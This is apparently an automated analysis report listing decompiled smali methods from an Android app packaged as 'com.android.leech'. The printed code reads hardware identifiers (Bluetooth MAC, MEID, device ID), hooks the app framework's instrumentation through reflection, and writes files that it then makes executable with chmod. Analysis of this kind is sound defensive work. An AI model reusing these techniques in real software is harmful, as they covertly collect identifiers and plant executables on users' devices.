                                                                              • android.content.ComponentName.<init>
                                                                              Strings
                                                                              • android.intent.action.VIEW
                                                                              • application/vnd.android.package-archive
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "filePath" # Ljava/lang/String;
                                                                              2.prologue
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              5move-result-object v2
                                                                              6new-instance v5, Ljava/io/File;
                                                                              8invoke-direct {v5, p1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              10invoke-static {v5}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              11move-result-object v4
                                                                              12new-instance v1, Landroid/content/Intent;
                                                                              14const-string v5, "android.intent.action.VIEW"
                                                                              16invoke-direct {v1, v5}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              18const-string v5, "application/vnd.android.package-archive"
                                                                              20invoke-virtual {v1, v4, v5}, Landroid/content/Intent;->setDataAndType(Landroid/net/Uri;Ljava/lang/String;)Landroid/content/Intent;
                                                                              21const/high16 v5, 0x10000
                                                                              23invoke-virtual {v2, v1, v5}, Landroid/content/pm/PackageManager;->queryIntentActivities(Landroid/content/Intent;I)Ljava/util/List;
                                                                              24move-result-object v0
                                                                              26invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              27move-result-object v5
                                                                              28cond_23:
                                                                              29invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                                                                              30move-result v6
                                                                              31if-eqz v6, :cond_4b
                                                                              33invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              34move-result-object v3
                                                                              35check-cast v3, Landroid/content/pm/ResolveInfo;
                                                                              37iget-object v6, v3, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              39iget-object v6, v6, Landroid/content/pm/ActivityInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              40iget v6, v6, Landroid/content/pm/ApplicationInfo;->flags:I
                                                                              41and-int/lit8 v6, v6, 0x1
                                                                              42if-eqz v6, :cond_23
                                                                              43new-instance v5, Landroid/content/ComponentName;
                                                                              45invoke-static {v3}, Lcom/android/leech/patch/PatchNotification;->getComponentInfo(Landroid/content/pm/ResolveInfo;)Landroid/content/pm/ComponentInfo;
                                                                              46move-result-object v6
                                                                              48iget-object v6, v6, Landroid/content/pm/ComponentInfo;->packageName:Ljava/lang/String;
                                                                              50invoke-static {v3}, Lcom/android/leech/patch/PatchNotification;->getComponentInfo(Landroid/content/pm/ResolveInfo;)Landroid/content/pm/ComponentInfo;
                                                                              51move-result-object v7
                                                                              53iget-object v7, v7, Landroid/content/pm/ComponentInfo;->name:Ljava/lang/String;
                                                                              55invoke-direct {v5, v6, v7}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              56goto_4a: return-object v5
                                                                              57cond_4b: const/4 v5, 0x0
                                                                              58goto/16 :goto_4a
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.bluetooth.BluetoothAdapter.getAddress
                                                                              Strings
                                                                              • android.bluetooth.IBluetooth
                                                                              • mService
                                                                              • getAddress
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_4
                                                                              1const/4 v0, 0x0
                                                                              2goto_3: return-object v0
                                                                              3cond_4:
                                                                              4invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              5move-result-object v0
                                                                              6try_start_8:
                                                                              7const-string v1, "android.bluetooth.IBluetooth"
                                                                              9invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              10move-result-object v1
                                                                              12const-string v2, "mService"
                                                                              14invoke-virtual {v0, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              15move-result-object v0
                                                                              16const/4 v2, 0x1
                                                                              18invoke-virtual {v0, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              20const-string v2, "getAddress"
                                                                              21const/4 v3, 0x0
                                                                              22new-array v3, v3, [Ljava/lang/Class;
                                                                              24invoke-virtual {v1, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              25move-result-object v1
                                                                              26const/4 v2, 0x1
                                                                              28invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              30invoke-virtual {v0, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              31move-result-object v0
                                                                              32const/4 v2, 0x0
                                                                              33new-array v2, v2, [Ljava/lang/Object;
                                                                              35invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              36move-result-object v0
                                                                              37check-cast v0, Ljava/lang/String;
                                                                              38try_end_32: goto/16 :goto_3
                                                                              39catch_33: move-exception v0
                                                                              41invoke-virtual {p0}, Landroid/bluetooth/BluetoothAdapter;->getAddress()Ljava/lang/String;
                                                                              42move-result-object v0
                                                                              43goto/16 :goto_3
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.String.indexOf
                                                                              • java.net.InetAddress.getByName
                                                                              • java.net.InetAddress.getAddress
                                                                              • java.lang.String.substring
                                                                              • java.net.InetAddress.getByName
                                                                              • java.net.InetAddress.getAddress
                                                                              • java.lang.System.arraycopy
                                                                              • java.lang.String.substring
                                                                              • java.lang.Integer.parseInt
                                                                              • java.io.IOException.<init>
                                                                              Strings
                                                                              • IPv6Address prefix is longer than 128
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "name" # Ljava/lang/String;
                                                                              1.annotation system Ldalvik/annotation/Throws;
                                                                              2value = {
                                                                              3Ljava/io/IOException;
                                                                              4}
                                                                              5.end annotation
                                                                              6.prologue
                                                                              7const/16 v8, 0x80
                                                                              8const/16 v9, 0x10
                                                                              9const/4 v7, 0x0
                                                                              10const/16 v6, 0x2f
                                                                              12invoke-virtual {p1, v6}, Ljava/lang/String;->indexOf(I)I
                                                                              13move-result v5
                                                                              14const/4 v6, -0x1
                                                                              15if-ne v5, v6, :cond_19
                                                                              17invoke-static {p1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                                              18move-result-object v6
                                                                              20invoke-virtual {v6}, Ljava/net/InetAddress;->getAddress()[B
                                                                              21move-result-object v6
                                                                              22iput-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              23cond_18: return-void
                                                                              24cond_19: const/16 v6, 0x20
                                                                              25new-array v6, v6, [B
                                                                              26iput-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              28invoke-virtual {p1, v7, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                                                              29move-result-object v6
                                                                              31invoke-static {v6}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
                                                                              32move-result-object v6
                                                                              34invoke-virtual {v6}, Ljava/net/InetAddress;->getAddress()[B
                                                                              35move-result-object v0
                                                                              37iget-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              39invoke-static {v0, v7, v6, v7, v9}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              40add-int/lit8 v6, v5, 0x1
                                                                              42invoke-virtual {p1, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                                              43move-result-object v6
                                                                              45invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              46move-result v4
                                                                              47if-le v4, v8, :cond_44
                                                                              48new-instance v6, Ljava/io/IOException;
                                                                              50const-string v7, "IPv6Address prefix is longer than 128"
                                                                              52invoke-direct {v6, v7}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                                              53throw v6
                                                                              54cond_44: new-instance v1, Lcom/android/leech/patch/apksigner/sun/security/util/BitArray;
                                                                              56invoke-direct {v1, v8}, Lcom/android/leech/patch/apksigner/sun/security/util/BitArray;-><init>(I)V
                                                                              57const/4 v2, 0x0
                                                                              58goto_4a: if-ge v2, v4, :cond_53
                                                                              59const/4 v6, 0x1
                                                                              61invoke-virtual {v1, v2, v6}, Lcom/android/leech/patch/apksigner/sun/security/util/BitArray;->set(IZ)V
                                                                              62add-int/lit8 v2, v2, 0x1
                                                                              63goto/16 :goto_4a
                                                                              64cond_53:
                                                                              65invoke-virtual {v1}, Lcom/android/leech/patch/apksigner/sun/security/util/BitArray;->toByteArray()[B
                                                                              66move-result-object v3
                                                                              67const/4 v2, 0x0
                                                                              68goto_58: if-ge v2, v9, :cond_18
                                                                              70iget-object v6, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/IPAddressName;->address:[B
                                                                              71add-int/lit8 v7, v2, 0x10
                                                                              72aget-byte v8, v3, v2
                                                                              73aput-byte v8, v6, v7
                                                                              74add-int/lit8 v2, v2, 0x1
                                                                              75goto/16 :goto_58
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.app.ActivityManager.getRunningAppProcesses
                                                                              • java.util.List.size
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.os.Process.myPid
                                                                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                                                              • java.lang.String.replace
                                                                              Strings
                                                                              • activity
                                                                              • --->>> getEnvelopeDir: can\'t get process name, use default envelope directory.
                                                                              • --->>> getEnvelopeDir: use current process name as envelope directory.
                                                                              Position Instruction Meta Information
                                                                              1const-string v0, "activity"
                                                                              3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              4move-result-object v0
                                                                              5check-cast v0, Landroid/app/ActivityManager;
                                                                              6if-eqz v0, :cond_4d
                                                                              8invoke-virtual {v0}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                                                              9move-result-object v0
                                                                              10if-nez v0, :cond_18
                                                                              12const-string v0, "--->>> getEnvelopeDir: can\'t get process name, use default envelope directory."
                                                                              14invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->b(Ljava/lang/String;)V
                                                                              16sget-object v0, LuAgent/commonsdk/framework/b;->c:Ljava/lang/String;
                                                                              17goto_17: return-object v0
                                                                              18cond_18:
                                                                              19invoke-interface {v0}, Ljava/util/List;->size()I
                                                                              20move-result v1
                                                                              21if-nez v1, :cond_21
                                                                              23sget-object v0, LuAgent/commonsdk/framework/b;->c:Ljava/lang/String;
                                                                              24goto/16 :goto_17
                                                                              25cond_21:
                                                                              26invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              27move-result-object v1
                                                                              28cond_25:
                                                                              29invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                                                              30move-result v0
                                                                              31if-eqz v0, :cond_4d
                                                                              33invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              34move-result-object v0
                                                                              35check-cast v0, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                                                              36iget v2, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                                                                              38invoke-static {}, Landroid/os/Process;->myPid()I
                                                                              39move-result v3
                                                                              40if-ne v2, v3, :cond_25
                                                                              42iget-object v0, v0, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                                                              43const/16 v1, 0x3a
                                                                              44const/16 v2, 0x5f
                                                                              46invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replace(CC)Ljava/lang/String;
                                                                              47move-result-object v0
                                                                              49const-string v1, "--->>> getEnvelopeDir: use current process name as envelope directory."
                                                                              51invoke-static {v1}, LuAgent/commonsdk/statistics/common/e;->b(Ljava/lang/String;)V
                                                                              52try_end_48: goto/16 :goto_17
                                                                              53catch_49: move-exception v0
                                                                              55invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              56cond_4d:
                                                                              57sget-object v0, LuAgent/commonsdk/framework/b;->c:Ljava/lang/String;
                                                                              58goto/16 :goto_17
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.io.BufferedReader.close
                                                                              • java.io.FileReader.close
                                                                              • java.lang.String.indexOf
                                                                              • java.lang.String.substring
                                                                              • java.lang.String.trim
                                                                              Strings
                                                                              • /proc/cpuinfo
                                                                              • Could not read from file /proc/cpuinfo
                                                                              • Could not open file /proc/cpuinfo
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1try_start_1: new-instance v0, Ljava/io/FileReader;
                                                                              3const-string v2, "/proc/cpuinfo"
                                                                              5invoke-direct {v0, v2}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              6try_end_8: if-eqz v0, :cond_1b
                                                                              7try_start_a: new-instance v2, Ljava/io/BufferedReader;
                                                                              8const/16 v3, 0x400
                                                                              10invoke-direct {v2, v0, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                                                                              12invoke-virtual {v2}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              13try_end_14: move-result-object v1
                                                                              14try_start_15:
                                                                              15invoke-virtual {v2}, Ljava/io/BufferedReader;->close()V
                                                                              17invoke-virtual {v0}, Ljava/io/FileReader;->close()V
                                                                              18goto_1b: if-eqz v1, :cond_40
                                                                              19const/16 v0, 0x3a
                                                                              21invoke-virtual {v1, v0}, Ljava/lang/String;->indexOf(I)I
                                                                              22move-result v0
                                                                              23add-int/lit8 v0, v0, 0x1
                                                                              25invoke-virtual {v1, v0}, Ljava/lang/String;->substring(I)Ljava/lang/String;
                                                                              26move-result-object v0
                                                                              28invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              29move-result-object v0
                                                                              30goto_2d: return-object v0
                                                                              31catch_2e: move-exception v0
                                                                              32try_start_2f:
                                                                              33sget-object v2, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              35const-string v3, "Could not read from file /proc/cpuinfo"
                                                                              37invoke-static {v2, v3, v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              38try_end_36: goto/16 :goto_1b
                                                                              39catch_37: move-exception v0
                                                                              40goto_38:
                                                                              41sget-object v2, LuAgent/commonsdk/statistics/common/DeviceConfig;->LOG_TAG:Ljava/lang/String;
                                                                              43const-string v3, "Could not open file /proc/cpuinfo"
                                                                              45invoke-static {v2, v3, v0}, LuAgent/commonsdk/statistics/common/MLog;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                                                                              46goto/16 :goto_1b
                                                                              47cond_40:
                                                                              48const-string v0, ""
                                                                              49goto/16 :goto_2d
                                                                              50catch_43: move-exception v0
                                                                              51goto/16 :goto_38
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Exception.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • android.telephony.TelephonyManager
                                                                              • getMeid
                                                                              • meid:
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2cond_3: return-object v1
                                                                              3try_start_4:
                                                                              4const-string v0, "android.telephony.TelephonyManager"
                                                                              6invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              7move-result-object v0
                                                                              9const-string v2, "getMeid"
                                                                              10const/4 v3, 0x0
                                                                              11new-array v3, v3, [Ljava/lang/Class;
                                                                              13invoke-virtual {v0, v2, v3}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              14move-result-object v0
                                                                              15const/4 v2, 0x0
                                                                              16const/4 v3, 0x0
                                                                              17new-array v3, v3, [Ljava/lang/Object;
                                                                              19invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              20move-result-object v0
                                                                              21if-eqz v0, :cond_43
                                                                              22instance-of v2, v0, Ljava/lang/String;
                                                                              23if-eqz v2, :cond_43
                                                                              24check-cast v0, Ljava/lang/String;
                                                                              25goto_23: move-object v1, v0
                                                                              26goto/16 :goto_3
                                                                              27catch_25: move-exception v0
                                                                              28if-eqz v0, :cond_3
                                                                              29new-instance v2, Ljava/lang/StringBuilder;
                                                                              31invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              33const-string v3, "meid:"
                                                                              35invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              36move-result-object v2
                                                                              38invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                                                              39move-result-object v0
                                                                              41invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              42move-result-object v0
                                                                              44invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              45move-result-object v0
                                                                              47invoke-static {v0}, LuAgent/commonsdk/statistics/common/e;->e(Ljava/lang/String;)V
                                                                              48goto/16 :goto_3
                                                                              49cond_43: move-object v0, v1
                                                                              50goto/16 :goto_23
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.contains
                                                                              • java.io.BufferedReader.close
                                                                              • java.lang.String.split
                                                                              • java.lang.Integer.valueOf
                                                                              • java.lang.Integer.intValue
                                                                              • android.text.format.Formatter.formatFileSize
                                                                              Strings
                                                                              • /proc/meminfo
                                                                              • \\s+
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "type" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3try_start_0: new-instance v2, Ljava/io/FileReader;
                                                                              5const-string v5, "/proc/meminfo"
                                                                              7invoke-direct {v2, v5}, Ljava/io/FileReader;-><init>(Ljava/lang/String;)V
                                                                              8new-instance v1, Ljava/io/BufferedReader;
                                                                              9const/16 v5, 0x1000
                                                                              11invoke-direct {v1, v2, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                                                                              12const/4 v4, 0x0
                                                                              13cond_f:
                                                                              14invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              15move-result-object v4
                                                                              16if-eqz v4, :cond_1b
                                                                              18invoke-virtual {v4, p1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              19move-result v5
                                                                              20if-eqz v5, :cond_f
                                                                              21cond_1b:
                                                                              22invoke-virtual {v1}, Ljava/io/BufferedReader;->close()V
                                                                              24const-string v5, "\\s+"
                                                                              26invoke-virtual {v4, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                                              27move-result-object v0
                                                                              28const/4 v5, 0x1
                                                                              29aget-object v5, v0, v5
                                                                              31invoke-static {v5}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
                                                                              32move-result-object v5
                                                                              34invoke-virtual {v5}, Ljava/lang/Integer;->intValue()I
                                                                              35move-result v5
                                                                              36mul-int/lit16 v3, v5, 0x400
                                                                              37int-to-long v5, v3
                                                                              39invoke-static {p0, v5, v6}, Landroid/text/format/Formatter;->formatFileSize(Landroid/content/Context;J)Ljava/lang/String;
                                                                              40try_end_35: move-result-object v5
                                                                              41goto_36: return-object v5
                                                                              42catch_37: move-exception v5
                                                                              43goto_38: const/4 v5, 0x0
                                                                              44goto/16 :goto_36
                                                                              45catch_3a: move-exception v5
                                                                              46goto/16 :goto_38
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.setAccessible
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getDeclaredField
                                                                              • java.lang.reflect.Field.setAccessible
                                                                              • java.lang.reflect.Field.set
                                                                              Strings
                                                                              • android.app.ActivityThread
                                                                              • currentActivityThread
                                                                              • mInstrumentation
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "listener" # Lcom/android/leech/base/hook/HookManager$HookAtyListener;
                                                                              1.prologue
                                                                              2try_start_0:
                                                                              3const-string v4, "android.app.ActivityThread"
                                                                              5invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              6move-result-object v0
                                                                              8const-string v4, "currentActivityThread"
                                                                              9const/4 v5, 0x0
                                                                              10new-array v5, v5, [Ljava/lang/Class;
                                                                              12invoke-virtual {v0, v4, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              13move-result-object v2
                                                                              14const/4 v4, 0x1
                                                                              16invoke-virtual {v2, v4}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                                                                              17const/4 v4, 0x0
                                                                              18const/4 v5, 0x0
                                                                              19new-array v5, v5, [Ljava/lang/Object;
                                                                              21invoke-virtual {v2, v4, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              22move-result-object v1
                                                                              24invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              25move-result-object v4
                                                                              27const-string v5, "mInstrumentation"
                                                                              29invoke-virtual {v4, v5}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              30move-result-object v3
                                                                              31const/4 v4, 0x1
                                                                              33invoke-virtual {v3, v4}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                                                                              35invoke-interface {p1, v3, v1}, Lcom/android/leech/base/hook/HookManager$HookAtyListener;->onHook(Ljava/lang/reflect/Field;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              36move-result-object v4
                                                                              38invoke-virtual {v3, v1, v4}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              39goto_30: return-void
                                                                              40catch_31: move-exception v4
                                                                              41goto/16 :goto_30
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.FileOutputStream.<init>
                                                                              • java.io.FileOutputStream.write
                                                                              • java.io.FileOutputStream.close
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Object.wait
                                                                              Strings
                                                                              • chmod 0755
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "path" # Ljava/lang/String;
                                                                              1.param p1, "content" # [B
                                                                              2.prologue
                                                                              3const/4 v1, 0x0
                                                                              4try_start_1: new-instance v0, Ljava/io/FileOutputStream;
                                                                              6invoke-direct {v0, p0}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;)V
                                                                              8invoke-virtual {v0, p1}, Ljava/io/FileOutputStream;->write([B)V
                                                                              10invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V
                                                                              11try_end_c: const/4 v1, 0x1
                                                                              12goto_d:
                                                                              13invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              14move-result-object v2
                                                                              15new-instance v3, Ljava/lang/StringBuilder;
                                                                              17invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              19const-string v4, "chmod 0755 "
                                                                              21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22move-result-object v3
                                                                              24invoke-virtual {v3, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              25move-result-object v3
                                                                              27invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              28move-result-object v3
                                                                              30invoke-virtual {v2, v3}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                                                              31move-result-object v2
                                                                              33invoke-virtual {v2}, Ljava/lang/Object;->wait()V
                                                                              34goto_2b: return v1
                                                                              35catch_2c: move-exception v2
                                                                              36goto/16 :goto_2b
                                                                              37catch_2e: move-exception v2
                                                                              38goto/16 :goto_d
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getNetworkInfo
                                                                              • android.net.NetworkInfo.getState
                                                                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                                                                              • android.net.ConnectivityManager.getNetworkInfo
                                                                              • android.net.NetworkInfo.getState
                                                                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                                                                              • android.net.NetworkInfo.getSubtypeName
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              • Wi-Fi
                                                                              • 2G/3G
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1const/4 v4, 0x0
                                                                              2const/4 v0, 0x2
                                                                              3new-array v1, v0, [Ljava/lang/String;
                                                                              5const-string v0, ""
                                                                              6aput-object v0, v1, v4
                                                                              8const-string v0, ""
                                                                              9aput-object v0, v1, v2
                                                                              10if-nez p0, :cond_11
                                                                              11move-object v0, v1
                                                                              12goto_10: return-object v0
                                                                              13cond_11:
                                                                              14const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                                                                              16invoke-static {p0, v0}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              17try_end_16: move-result v0
                                                                              18if-nez v0, :cond_1f
                                                                              20const-string v0, ""
                                                                              21aput-object v0, v1, v4
                                                                              22move-object v0, v1
                                                                              23goto/16 :goto_10
                                                                              24cond_1f:
                                                                              25const-string v0, "connectivity"
                                                                              27invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              28move-result-object v0
                                                                              29check-cast v0, Landroid/net/ConnectivityManager;
                                                                              30try_end_27: if-nez v0, :cond_2f
                                                                              32const-string v0, ""
                                                                              33aput-object v0, v1, v4
                                                                              34move-object v0, v1
                                                                              35goto/16 :goto_10
                                                                              36cond_2f: const/4 v2, 0x1
                                                                              37try_start_30:
                                                                              38invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                                                                              39move-result-object v2
                                                                              40if-eqz v2, :cond_44
                                                                              42invoke-virtual {v2}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                                                                              43move-result-object v2
                                                                              45sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                                                                              46try_end_3c: if-ne v2, v3, :cond_44
                                                                              48const-string v0, "Wi-Fi"
                                                                              49aput-object v0, v1, v4
                                                                              50move-object v0, v1
                                                                              51goto/16 :goto_10
                                                                              52cond_44: const/4 v2, 0x0
                                                                              53try_start_45:
                                                                              54invoke-virtual {v0, v2}, Landroid/net/ConnectivityManager;->getNetworkInfo(I)Landroid/net/NetworkInfo;
                                                                              55move-result-object v0
                                                                              56if-eqz v0, :cond_61
                                                                              58invoke-virtual {v0}, Landroid/net/NetworkInfo;->getState()Landroid/net/NetworkInfo$State;
                                                                              59move-result-object v2
                                                                              61sget-object v3, Landroid/net/NetworkInfo$State;->CONNECTED:Landroid/net/NetworkInfo$State;
                                                                              62try_end_51: if-ne v2, v3, :cond_61
                                                                              64const-string v2, "2G/3G"
                                                                              65aput-object v2, v1, v4
                                                                              66const/4 v2, 0x1
                                                                              67try_start_58:
                                                                              68invoke-virtual {v0}, Landroid/net/NetworkInfo;->getSubtypeName()Ljava/lang/String;
                                                                              69move-result-object v0
                                                                              70aput-object v0, v1, v2
                                                                              71try_end_5e: move-object v0, v1
                                                                              72goto/16 :goto_10
                                                                              73catch_60: move-exception v0
                                                                              74cond_61: move-object v0, v1
                                                                              75goto/16 :goto_10
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
